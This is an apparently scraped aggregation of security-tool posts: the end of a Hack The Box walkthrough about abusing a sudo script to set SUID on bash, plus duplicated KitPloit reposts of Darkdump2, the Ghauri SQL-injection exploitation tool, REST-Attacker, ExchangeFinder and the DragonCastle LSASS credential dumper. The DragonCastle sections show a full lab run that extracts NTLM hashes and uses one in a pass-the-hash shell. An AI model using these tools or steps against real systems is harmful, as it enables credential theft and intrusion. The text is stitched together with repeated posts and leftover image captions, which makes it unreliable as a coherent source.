This small script is like a set of instructions for the computer. It starts by loading some hidden settings needed to run properly. Then, it takes a username given by the user, cleans it up to make sure it only contains letters and numbers (to avoid any strange or harmful characters), and finally runs a program called β€œcheck_leak” using that cleaned username. Essentially, it’s a way to safely check something related to that user on the system.

When we run /opt/hash-checker/check-leak.sh using sudo, it shows an error saying that the <USER> argument was not given.

Supplying β€œreader” as the user caused the script to return an error indicating the user is not found in the database.

When specifying β€œbob” as the user, the script revealed that the password was exposed.

A computer screen with green and blue text AI-generated content may be incorrect.

The /bin/bash binary does not have the SUID permission set.

A screen shot of a computer code AI-generated content may be incorrect.

The script sets the /bin/bash binary with the SUID permission.

You can view the root flag by running the command cat root.txt.

The post Hack The Box: Checker Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Darkdump2 - Search The Deep Web Straight From Your Terminal

βœ‡KitPloit
By: Unknown
8 February 2023 at 06:30



About Darkdump (Recent Notice - 12/27/22)

Darkdump is a simple script written in Python3.11 in which it allows users to enter a search term (query) in the command line and darkdump will pull all the deep web sites relating to that query. Darkdump2.0 is here, enjoy!

Installation

  1. git clone https://github.com/josh0xA/darkdump
  2. cd darkdump
  3. python3 -m pip install -r requirements.txt
  4. python3 darkdump.py --help

Usage

Example 1: python3 darkdump.py --query programming
Example 2: python3 darkdump.py --query="chat rooms"
Example 3: python3 darkdump.py --query hackers --amount 12

  • Note: The 'amount' argument filters the number of results outputted

Usage With Increased Anonymity

Darkdump Proxy: python3 darkdump.py --query bitcoin -p

Menu


     ____          _     _
    |    \ ___ ___| |_ _| |_ _ _____ ___
    |  |  | .'|  _| '_| . | | |     | . |
    |____/|__,|_| |_,_|___|___|_|_|_|  _|
                                    |_|

        Developed By: Josh Schiavone
        https://github.com/josh0xA
            joshschiavone.com
              Version 2.0

usage: darkdump.py [-h] [-v] [-q QUERY] [-a AMOUNT] [-p]

options:
  -h, --help            show this help message and exit
  -v, --version         returns darkdump's version
  -q QUERY, --query QUERY
                        the keyword or string you want to search on the deepweb
  -a AMOUNT, --amount AMOUNT
                        the amount of results you want to retrieve (default: 10)
  -p, --proxy           use darkdump proxy to increase anonymity

Visual

Ethical Notice

The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Do not use darkdump to navigate websites that take part in any activity that is identified as illegal under the laws and regulations of your government. May God bless you all.

License

MIT License
Copyright (c) Josh Schiavone



Darkdump2 - Search The Deep Web Straight From Your Terminal

βœ‡KitPloit
By: Unknown
8 February 2023 at 06:30



About Darkdump (Recent Notice - 12/27/22)

Darkdump is a simple script written in Python3.11 in which it allows users to enter a search term (query) in the command line and darkdump will pull all the deep web sites relating to that query. Darkdump2.0 is here, enjoy!

Installation

  1. git clone https://github.com/josh0xA/darkdump
  2. cd darkdump
  3. python3 -m pip install -r requirements.txt
  4. python3 darkdump.py --help

Usage

Example 1: python3 darkdump.py --query programming
Example 2: python3 darkdump.py --query="chat rooms"
Example 3: python3 darkdump.py --query hackers --amount 12

  • Note: The 'amount' argument filters the number of results outputted

Usage With Increased Anonymity

Darkdump Proxy: python3 darkdump.py --query bitcoin -p

Menu


     ____          _     _
    |    \ ___ ___| |_ _| |_ _ _____ ___
    |  |  | .'|  _| '_| . | | |     | . |
    |____/|__,|_| |_,_|___|___|_|_|_|  _|
                                    |_|

        Developed By: Josh Schiavone
        https://github.com/josh0xA
            joshschiavone.com
              Version 2.0

usage: darkdump.py [-h] [-v] [-q QUERY] [-a AMOUNT] [-p]

options:
  -h, --help            show this help message and exit
  -v, --version         returns darkdump's version
  -q QUERY, --query QUERY
                        the keyword or string you want to search on the deepweb
  -a AMOUNT, --amount AMOUNT
                        the amount of results you want to retrieve (default: 10)
  -p, --proxy           use darkdump proxy to increase anonymity

Visual

Ethical Notice

The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Do not use darkdump to navigate websites that take part in any activity that is identified as illegal under the laws and regulations of your government. May God bless you all.

License

MIT License
Copyright (c) Josh Schiavone



Ghauri - An Advanced Cross-Platform Tool That Automates The Process Of Detecting And Exploiting SQL Injection Security Flaws

βœ‡KitPloit
By: Unknown
20 January 2023 at 06:30


An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws


Requirements

  • Python 3
  • Python pip3

Installation

  • cd to ghauri directory.
  • install requirements: python3 -m pip install --upgrade -r requirements.txt
  • run: python3 setup.py install or python3 -m pip install -e .
  • you will be able to access and run the ghauri with simple ghauri --help command.

Download Ghauri

You can download the latest version of Ghauri by cloning the GitHub repository.

git clone https://github.com/r0oth3x49/ghauri.git

Features

  • Supports following types of injection payloads:
    • Boolean based.
    • Error Based
    • Time Based
    • Stacked Queries
  • Support SQL injection for following DBMS.
    • MySQL
    • Microsoft SQL Server
    • Postgre
    • Oracle
  • Supports following injection types.
    • GET/POST Based injections
    • Headers Based injections
    • Cookies Based injections
    • Mulitipart Form data injections
    • JSON based injections
  • support proxy option --proxy.
  • supports parsing request from txt file: switch for that -r file.txt
  • supports limiting data extraction for dbs/tables/columns/dump: swicth --start 1 --stop 2
  • added support for resuming of all phases.
  • added support for skip urlencoding switch: --skip-urlencode
  • added support to verify extracted characters in case of boolean/time based injections.

Advanced Usage


Author: Nasir khan (r0ot h3x49)

usage: ghauri -u URL [OPTIONS]

A cross-platform python based advanced sql injections detection & exploitation tool.

General:
  -h, --help          Shows the help.
  --version           Shows the version.
  -v VERBOSE          Verbosity level: 1-5 (default 1).
  --batch             Never ask for user input, use the default behavior
  --flush-session     Flush session files for current target

Target:
  At least one of these options has to be provided to define the
  target(s)

  -u URL, --url URL   Target URL (e.g. 'http://www.site.com/vuln.php?id=1).
  -r REQUESTFILE      Load HTTP request from a file

Request:
  These options can be used to specify how to connect to the target URL

  -A , --user-agent   HTTP User-Agent header value -H , --header       Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
  --host              HTTP Host header value
  --data              Data string to be sent through POST (e.g. "id=1")
  --cookie            HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
  --referer           HTTP Referer header value
  --headers           Extra headers (e.g. "Accept-Language: fr\nETag: 123")
  --proxy             Use a proxy to connect to the target URL
  --delay             Delay in seconds between each HTTP request
  --timeout           Seconds to wait before timeout connection (default 30)
  --retries           Retries when the connection related error occurs (default 3)
  --skip-urlencode    Skip URL encoding of payload data
  --force-ssl         Force usage of SSL/HTTPS

Injection:
  These options can be used to specify which paramete   rs to test for,
  provide custom injection payloads and optional tampering scripts

  -p TESTPARAMETER    Testable parameter(s)
  --dbms DBMS         Force back-end DBMS to provided value
  --prefix            Injection payload prefix string
  --suffix            Injection payload suffix string

Detection:
  These options can be used to customize the detection phase

  --level LEVEL       Level of tests to perform (1-3, default 1)
  --code CODE         HTTP code to match when query is evaluated to True
  --string            String to match when query is evaluated to True
  --not-string        String to match when query is evaluated to False
  --text-only         Compare pages based only on the textual content

Techniques:
  These options can be used to tweak testing of specific SQL injection
  techniques

     --technique TECH    SQL injection techniques to use (default "BEST")
  --time-sec TIMESEC  Seconds to delay the DBMS response (default 5)

Enumeration:
  These options can be used to enumerate the back-end database
  managment system information, structure and data contained in the
  tables.

  -b, --banner        Retrieve DBMS banner
  --current-user      Retrieve DBMS current user
  --current-db        Retrieve DBMS current database
  --hostname          Retrieve DBMS server hostname
  --dbs               Enumerate DBMS databases
  --tables            Enumerate DBMS database tables
  --columns           Enumerate DBMS database table columns
  --dump              Dump DBMS database table entries
  -D DB               DBMS database to enumerate
  -T TBL              DBMS database tables(s) to enumerate
  -C COLS                DBMS database table column(s) to enumerate
  --start             Retrive entries from offset for dbs/tables/columns/dump
  --stop              Retrive entries till offset for dbs/tables/columns/dump

Example:
  ghauri http://www.site.com/vuln.php?id=1 --dbs

Legal disclaimer

Usage of Ghauri for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local,state and federal laws. 
Developer assume no liability and is not responsible for any misuse or damage caused by this program.

TODO

  • Add support for inline queries.
  • Add support for Union based queries


DragonCastle - A PoC That Combines AutodialDLL Lateral Movement Technique And SSP To Scrape NTLM Hashes From LSASS Process

βœ‡KitPloit
By: Unknown
19 January 2023 at 06:30


A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.

Description

Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.

The DLLMain always returns False so the processes doesn't keep it.


Caveats

It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:

Build Support
Windows 10 version 21H2
Windows 10 version 21H1 Implemented
Windows 10 version 20H2 Implemented
Windows 10 version 20H1 (2004) Implemented
Windows 10 version 1909 Implemented
Windows 10 version 1903 Implemented
Windows 10 version 1809 Implemented
Windows 10 version 1803 Implemented
Windows 10 version 1709 Implemented
Windows 10 version 1703 Implemented
Windows 10 version 1607 Implemented
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.

Usage

credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value" dir="auto">
psyconauta@insulanova:~/Research/dragoncastle|β‡’  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid doma   in name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value</   pre>

Example

Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|β‡’  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977   b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!
psyconauta@insulanova:~/Research/dragoncastle|β‡’  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                            Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivile   ge                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               En   able computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>

Author

Juan Manuel FernΓ‘ndez (@TheXC3LL)

References



REST-Attacker - Designed As A Proof-Of-Concept For The Feasibility Of Testing Generic Real-World REST Implementations

βœ‡KitPloit
By: Unknown
7 January 2023 at 06:30


REST-Attacker is an automated penetration testing framework for APIs following the REST architecture style. The tool's focus is on streamlining the analysis of generic REST API implementations by completely automating the testing process - including test generation, access control handling, and report generation - with minimal configuration effort. Additionally, REST-Attacker is designed to be flexible and extensible with support for both large-scale testing and fine-grained analysis.

REST-Attacker is maintained by the Chair of Network & Data Security of the Ruhr University of Bochum.


Features

REST-Attacker currently provides these features:

  • Automated generation of tests
    • Utilize an OpenAPI description to automatically generate test runs
    • 32 integrated security tests based on OWASP and other scientific contributions
    • Built-in creation of security reports
  • Streamlined API communication
    • Custom request interface for the REST security use case (based on the Python3 requests module)
    • Communicate with any generic REST API
  • Handling of access control
    • Background authentication/authorization with API
    • Support for the most popular access control mechanisms: OAuth2, HTTP Basic Auth, API keys and more
  • Easy to use & extend
    • Usable as standalone (CLI) tool or as a module
    • Adapt test runs to specific APIs with extensive configuration options
    • Create custom test cases or access control schemes with the tool's interfaces

Install

Get the tool by downloading or cloning the repository:

git clone https://github.com/RUB-NDS/REST-Attacker.git

You need Python >3.10 for running the tool.

You also need to install the following packages with pip:

python3 -m pip install -r requirements.txt

Quickstart

Here you can find a quick rundown of the most common and useful commands. You can find more information on each command and other about available configuration options in our usage guides.

Get the list of supported test cases:

python3 -m rest_attacker --list

Basic test run (with load-time test case generation):

python3 -m rest_attacker <cfg-dir-or-openapi-file> --generate

Full test run (with load-time and runtime test case generation + rate limit handling):

python3 -m rest_attacker <cfg-dir-or-openapi-file> --generate --propose --handle-limits

Test run with only selected test cases (only generates test cases for test cases scopes.TestTokenRequestScopeOmit and resources.FindSecurityParameters):

python3 -m rest_attacker <cfg-dir-or-openapi-file> --generate --test-cases scopes.TestTokenRequestScopeOmit resources.FindSecurityParameters

Rerun a test run from a report:

python3 -m rest_attacker <cfg-dir-or-openapi-file> --run /path/to/report.json

Documentation

Usage guides and configuration format documentation can be found in the documentation subfolders.

Troubleshooting

For fixes/mitigations for known problems with the tool, see the troubleshooting docs or the Issues section.

Contributing

Contributions of all kinds are appreciated! If you found a bug or want to make a suggestion or feature request, feel free to create a new issue in the issue tracker. You can also submit fixes or code ammendments via a pull request.

Unfortunately, we can be very busy sometimes, so it may take a while before we respond to comments in this repository.

License

This project is licensed under GNU LGPLv3 or later (LGPL3+). See COPYING for the full license text and CONTRIBUTORS.md for the list of authors.



ExchangeFinder - Find Microsoft Exchange Instance For A Given Domain And Identify The Exact Version

βœ‡KitPloit
By: Unknown
5 January 2023 at 06:30


ExchangeFinder is a simple and open-source tool that tries to find Micrsoft Exchange instance for a given domain based on the top common DNS names for Microsoft Exchange.

ExchangeFinder can identify the exact version of Microsoft Exchange starting from Microsoft Exchange 4.0 to Microsoft Exchange Server 2019.


How does it work?

ExchangeFinder will first try to resolve any subdomain that is commonly used for Exchange server, then it will send a couple of HTTP requests to parse the content of the response sent by the server to identify if it's using Microsoft Exchange or not.

Currently, the tool has a signature of every version from Microsoft Exchange starting from Microsoft Exchange 4.0 to Microsoft Exchange Server 2019, and based on the build version sent by Exchange via the header X-OWA-Version we can identify the exact version.

If the tool found a valid Microsoft Exchange instance, it will return the following results:

  • Domain name.
  • Microsoft Exchange version.
  • Login page.
  • Web server version.

Installation & Requirements

Clone the latest version of ExchangeFinder using the following command:

git clone https://github.com/mhaskar/ExchangeFinder

And then install all the requirements using the command poetry install.

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/ExchangeFinder]
└─$ poetry install                                                                                                                   1 β¨―
Installing dependencies from lock file


Package operations: 15 installs, 0 updates, 0 removals

  β€’ Installing pyparsing (3.0.9)
  β€’ Installing attrs (22.1.0)
  β€’ Installing certifi (2022.6.15)
  β€’ Installing charset-normalizer (2.1.1)
  β€’ Installing idna (3.3)
  β€’ Installing more-itertools (8.14.0)
  β€’ Installing packaging (21.3)
  β€’ Installing pluggy (0.13.1)
  β€’ Installing py (1.11.0)
  β€’ Installing urllib3 (1.26.12)
  β€’ Installing wcwidth (0.2.5)
  β€’ Installing dnspython (2.2.1)
  β€’ Installing pytest (5.4.3)
  β€’ Installing requests (2.28.1)
  β€’ Installing termcolor (1.1.0)<   br/>
Installing the current project: ExchangeFinder (0.1.0)
                                                                                                                                         
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/ExchangeFinder]

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/ExchangeFinder]
└─$ python3 exchangefinder.py 

    
    ______     __                           _______           __         
   / ____/  __/ /_  ____ _____  ____ ____  / ____(_)___  ____/ /__  _____
  / __/ | |/_/ __ \/ __ `/ __ \/ __ `/ _ \/ /_  / / __ \/ __  / _ \/ ___/
 / /____>  </ / / / /_/ / / / / /_/ /  __/ __/ / / / / / /_/ /  __/ /    
/_____/_/|_/_/ /_/\__,_/_/ /_/\__, /\___/_/   /_/_/ /_/\__,_/\___/_/     
                             /____/                                        
                                                
                                                Find that Microsoft Exchange server ..
    
[-] Please use --domain or --domains option
                                                                                                                                         
β”Œβ”€β”€(kali&#129   27;kali)-[~/Desktop/ExchangeFinder]
└─$

Usage

You can use the option -h to show the help banner:

Scan single domain

To scan single domain you can use the option --domain like the following:

askarβ€’/opt/redteaming/ExchangeFinder(main⚑)Β» python3 exchangefinder.py --domain dummyexchangetarget.com                                                                                           

    
    ______     __                           _______           __         
   / ____/  __/ /_  ____ _____  ____ ____  / ____(_)___  ____/ /__  _____
  / __/ | |/_/ __ \/ __ `/ __ \/ __ `/ _ \/ /_  / / __ \/ __  / _ \/ ___/
 / /____>  </ / / / /_/ / / / / /_/ /  __/ __/ / / / / / /_/ /  __/ /    
/_____/_/|_/_/ /_/\__,_/_/ /_/\__, /\___/_/   /_/_/ /_/\__,_/\___/_/     
                             /____/                                        
                                                
                                                Find that Microsoft Exchange server ..
    
[!] Scanning domain dummyexch   angetarget.com
	[+] The following MX records found for the main domain
	10 mx01.dummyexchangetarget.com.

[!] 	Scanning host (mail.dummyexchangetarget.com)
[+] 	IIS server detected (https://mail.dummyexchangetarget.com)
[!] 	Potential Microsoft Exchange Identified
[+] 	Microsoft Exchange identified with the following details:

	Domain Found : https://mail.dummyexchangetarget.com
	Exchange version : Exchange Server 2016 CU22 Nov21SU
	Login page : https://mail.dummyexchangetarget.com/owa/auth/logon.aspx?url=https%3a%2f%2fmail.dummyexchangetarget.com%2fowa%2f&reason=0
	IIS/Webserver version: Microsoft-IIS/10.0

[!] 	Scanning host (autodiscover.dummyexchangetarget.com)
[+] 	IIS server detected (https://autodiscover.dummyexchangetarget.com)
[!] 	Potential Microsoft Exchange Identified
[+] 	Microsoft Exchange identified with the following details:

	Domain Found : https://autodiscover.dummyexchangetarget.com	Exchange version : Exchange Server 2016 CU22 Nov21SU
	Login page : https://autodiscover.dummyexchangetarget.com/owa/auth/logon.aspx?url=https%3a%2f%2fautodiscover.dummyexchangetarget.com%2fowa%2f&reason=0
	IIS/Webserver version: Microsoft-IIS/10.0

askarβ€’/opt/redteaming/ExchangeFinder(main⚑)Β»

Scan multiple domains

To scan multiple domains (targets) you can use the option --domains and choose a file like the following:

askarβ€’/opt/redteaming/ExchangeFinder(main⚑)Β» python3 exchangefinder.py --domains domains.txt                                                                                                          

    
    ______     __                           _______           __         
   / ____/  __/ /_  ____ _____  ____ ____  / ____(_)___  ____/ /__  _____
  / __/ | |/_/ __ \/ __ `/ __ \/ __ `/ _ \/ /_  / / __ \/ __  / _ \/ ___/
 / /____>  </ / / / /_/ / / / / /_/ /  __/ __/ / / / / / /_/ /  __/ /    
/_____/_/|_/_/ /_/\__,_/_/ /_/\__, /\___/_/   /_/_/ /_/\__,_/\___/_/     
                             /____/                                        
                                                
                                                Find that Microsoft Exchange server ..
    
[+] Total domains to scan are 2 domains
[!] Scanning domain externalcompany.com
	[+] The following MX records f   ound for the main domain
	20 mx4.linfosyshosting.nl.
	10 mx3.linfosyshosting.nl.

[!] 	Scanning host (mail.externalcompany.com)
[+] 	IIS server detected (https://mail.externalcompany.com)
[!] 	Potential Microsoft Exchange Identified
[+] 	Microsoft Exchange identified with the following details:

	Domain Found : https://mail.externalcompany.com
	Exchange version : Exchange Server 2016 CU22 Nov21SU
	Login page : https://mail.externalcompany.com/owa/auth/logon.aspx?url=https%3a%2f%2fmail.externalcompany.com%2fowa%2f&reason=0
	IIS/Webserver version: Microsoft-IIS/10.0

[!] Scanning domain o365.cloud
	[+] The following MX records found for the main domain
	10 mailstore1.secureserver.net.
	0 smtp.secureserver.net.

[!] 	Scanning host (mail.o365.cloud)
[+] 	IIS server detected (https://mail.o365.cloud)
[!] 	Potential Microsoft Exchange Identified
[+] 	Microsoft Exchange identified with the following    details:

	Domain Found : https://mail.o365.cloud
	Exchange version : Exchange Server 2013 CU23 May22SU
	Login page : https://mail.o365.cloud/owa/auth/logon.aspx?url=https%3a%2f%2fmail.o365.cloud%2fowa%2f&reason=0
	IIS/Webserver version: Microsoft-IIS/8.5

askarβ€’/opt/redteaming/ExchangeFinder(main⚑)Β»

Please note that the examples used in the screenshots are resolved in the lab only

This tool is very simple and I was using it to save some time while searching for Microsoft Exchange instances, feel free to open PR if you find any issue or you have a new thing to add.

License

This project is licensed under the GPL-3.0 License - see the LICENSE file for details



Ghauri - An Advanced Cross-Platform Tool That Automates The Process Of Detecting And Exploiting SQL Injection Security Flaws

βœ‡KitPloit
By: Unknown
20 January 2023 at 06:30


An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws


Requirements

  • Python 3
  • Python pip3

Installation

  • cd to ghauri directory.
  • install requirements: python3 -m pip install --upgrade -r requirements.txt
  • run: python3 setup.py install or python3 -m pip install -e .
  • you will be able to access and run the ghauri with simple ghauri --help command.

Download Ghauri

You can download the latest version of Ghauri by cloning the GitHub repository.

git clone https://github.com/r0oth3x49/ghauri.git

Features

  • Supports following types of injection payloads:
    • Boolean based.
    • Error Based
    • Time Based
    • Stacked Queries
  • Support SQL injection for following DBMS.
    • MySQL
    • Microsoft SQL Server
    • Postgre
    • Oracle
  • Supports following injection types.
    • GET/POST Based injections
    • Headers Based injections
    • Cookies Based injections
    • Mulitipart Form data injections
    • JSON based injections
  • support proxy option --proxy.
  • supports parsing request from txt file: switch for that -r file.txt
  • supports limiting data extraction for dbs/tables/columns/dump: swicth --start 1 --stop 2
  • added support for resuming of all phases.
  • added support for skip urlencoding switch: --skip-urlencode
  • added support to verify extracted characters in case of boolean/time based injections.

Advanced Usage


Author: Nasir khan (r0ot h3x49)

usage: ghauri -u URL [OPTIONS]

A cross-platform python based advanced sql injections detection & exploitation tool.

General:
  -h, --help          Shows the help.
  --version           Shows the version.
  -v VERBOSE          Verbosity level: 1-5 (default 1).
  --batch             Never ask for user input, use the default behavior
  --flush-session     Flush session files for current target

Target:
  At least one of these options has to be provided to define the
  target(s)

  -u URL, --url URL   Target URL (e.g. 'http://www.site.com/vuln.php?id=1).
  -r REQUESTFILE      Load HTTP request from a file

Request:
  These options can be used to specify how to connect to the target URL

  -A , --user-agent   HTTP User-Agent header value -H , --header       Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
  --host              HTTP Host header value
  --data              Data string to be sent through POST (e.g. "id=1")
  --cookie            HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
  --referer           HTTP Referer header value
  --headers           Extra headers (e.g. "Accept-Language: fr\nETag: 123")
  --proxy             Use a proxy to connect to the target URL
  --delay             Delay in seconds between each HTTP request
  --timeout           Seconds to wait before timeout connection (default 30)
  --retries           Retries when the connection related error occurs (default 3)
  --skip-urlencode    Skip URL encoding of payload data
  --force-ssl         Force usage of SSL/HTTPS

Injection:
  These options can be used to specify which paramete   rs to test for,
  provide custom injection payloads and optional tampering scripts

  -p TESTPARAMETER    Testable parameter(s)
  --dbms DBMS         Force back-end DBMS to provided value
  --prefix            Injection payload prefix string
  --suffix            Injection payload suffix string

Detection:
  These options can be used to customize the detection phase

  --level LEVEL       Level of tests to perform (1-3, default 1)
  --code CODE         HTTP code to match when query is evaluated to True
  --string            String to match when query is evaluated to True
  --not-string        String to match when query is evaluated to False
  --text-only         Compare pages based only on the textual content

Techniques:
  These options can be used to tweak testing of specific SQL injection
  techniques

     --technique TECH    SQL injection techniques to use (default "BEST")
  --time-sec TIMESEC  Seconds to delay the DBMS response (default 5)

Enumeration:
  These options can be used to enumerate the back-end database
  managment system information, structure and data contained in the
  tables.

  -b, --banner        Retrieve DBMS banner
  --current-user      Retrieve DBMS current user
  --current-db        Retrieve DBMS current database
  --hostname          Retrieve DBMS server hostname
  --dbs               Enumerate DBMS databases
  --tables            Enumerate DBMS database tables
  --columns           Enumerate DBMS database table columns
  --dump              Dump DBMS database table entries
  -D DB               DBMS database to enumerate
  -T TBL              DBMS database tables(s) to enumerate
  -C COLS                DBMS database table column(s) to enumerate
  --start             Retrive entries from offset for dbs/tables/columns/dump
  --stop              Retrive entries till offset for dbs/tables/columns/dump

Example:
  ghauri http://www.site.com/vuln.php?id=1 --dbs

Legal disclaimer

Usage of Ghauri for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local,state and federal laws. 
Developer assume no liability and is not responsible for any misuse or damage caused by this program.

TODO

  • Add support for inline queries.
  • Add support for Union based queries


DragonCastle - A PoC That Combines AutodialDLL Lateral Movement Technique And SSP To Scrape NTLM Hashes From LSASS Process

βœ‡KitPloit
By: Zion3R
19 January 2023 at 06:30


A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.

Description

Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.

The DLLMain always returns False so the processes doesn't keep it.


Caveats

It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:

Build Support
Windows 10 version 21H2
Windows 10 version 21H1 Implemented
Windows 10 version 20H2 Implemented
Windows 10 version 20H1 (2004) Implemented
Windows 10 version 1909 Implemented
Windows 10 version 1903 Implemented
Windows 10 version 1809 Implemented
Windows 10 version 1803 Implemented
Windows 10 version 1709 Implemented
Windows 10 version 1703 Implemented
Windows 10 version 1607 Implemented
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.

Usage

